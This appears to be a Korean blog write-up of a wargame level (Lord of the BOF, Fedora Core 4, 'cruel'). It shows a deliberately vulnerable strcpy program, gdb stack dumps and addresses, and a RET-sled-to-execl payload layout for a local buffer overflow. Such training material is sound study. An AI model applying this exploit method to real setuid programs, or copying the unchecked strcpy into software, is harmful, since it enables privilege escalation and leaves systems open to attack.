둘둘리둘둘리둘둘리둘둘리둘둘리둘
[ Fedora Core 4 ] dark_stone -> cruel 본문
/*
The Lord of the BOF : The Fellowship of the BOF
- cruel
- Local BOF on Fedora Core 4
- hint : no more fake ebp, RET sleding on random library
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
주어진 힌트대로 풀자면 random library 주소가 ebp+8이 될때까지 ret sleding으로 esp를 내리고 execl을 호출하면 된다.
물론 그전에 그 library주소가 가진 기계어 값을 이름으로가진 쉘을 띄워주는 프로그램이 준비돼있어야함.
//buffer+dummy의 크기
(gdb) x/24 $esp
0xbfaf9860: 0x0804824a 0x00000000 0x0d696910 0x00000003
0xbfaf9870: 0x007a932c 0x007b197c 0x44444444 0x00000700
0xbfaf9880: 0x00000000 0x00000000 0xb7ff9664 0x00000002
0xbfaf9890: 0x00000000 0x00000000 0x00000000 0x007a2fb4
0xbfaf98a0: 0x007a3878 0x0804824a 0xbfaf998c 0x007918fb
0xbfaf98b0: 0xbfaf9978 0x007a3828 0x00000001 0xb7ff9690
(gdb) x $ebp
0xbfaf9978: 0xbfaf99d8
0xbfaf9978-0xbfaf9878=0x100(256byte)
//ebp+8로 쓸 주소의 위치
(gdb) x/24x $ebp
0xbfaf9978: 0xbfaf99d8 0x007bad7f 0x00000002 0xbfaf9a04
0xbfaf9988: 0xbfaf9a10 0xbfaf99c0 0x00795898 0x007a3878
0xbfaf9998: 0xb7ff9690 0x00000001 0x008caff4 0x007a2ca0
0xbfaf99a8: 0x08048454 0xbfaf99d8 0xbfaf9980 0x007bad44
0xbfaf99b8: 0x00000000 0x00000000 0x00000000 0x0079ae60
0xbfaf99c8: 0x0079613d 0x007a2fb4 0x00000002 0x08048340
//ebp+8의 내용
(gdb) x/3 0x007bad44
0x7bad44 <__libc_start_main+164>: 0x5375c085 0x0054a165 0x45890000
//execl의 주소
(gdb) p execl
$1 = {<text variable, no debug info>} 0x832d68 <execl>
//ret의 주소
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e4 <main+0>: push %ebp
...
0x0804843e <main+90>: sub $0xc,%esp
0x08048441 <main+93>: lea 0xffffff00(%ebp),%eax
0x08048447 <main+99>: push %eax
0x08048448 <main+100>: call 0x80482f0
0x0804844d <main+105>: add $0x10,%esp
0x08048450 <main+108>: leave
0x08048451 <main+109>: ret
0x08048452 <main+110>: nop
0x08048453 <main+111>: nop
그럼 이제 쉘을 띄워주는 프로그램을 '0x54a1655375c085'란 이름으로 만들고
ebp+8이 0xbfaf99b4가 되도록 ret을 12번 실행해준 후 execl을 실행하면 되겠다.
페이로드는 ..
[ dummy( 260 ) | RET x 12 | execl ]
--풀이--
'War game > 해커 스쿨 FC4' 카테고리의 다른 글
[ Fedora Core 4 ] enigma -> titan(clear) (14) | 2015.09.08 |
---|---|
[ Fedora Core 4 ] cruel -> enigma (0) | 2015.09.06 |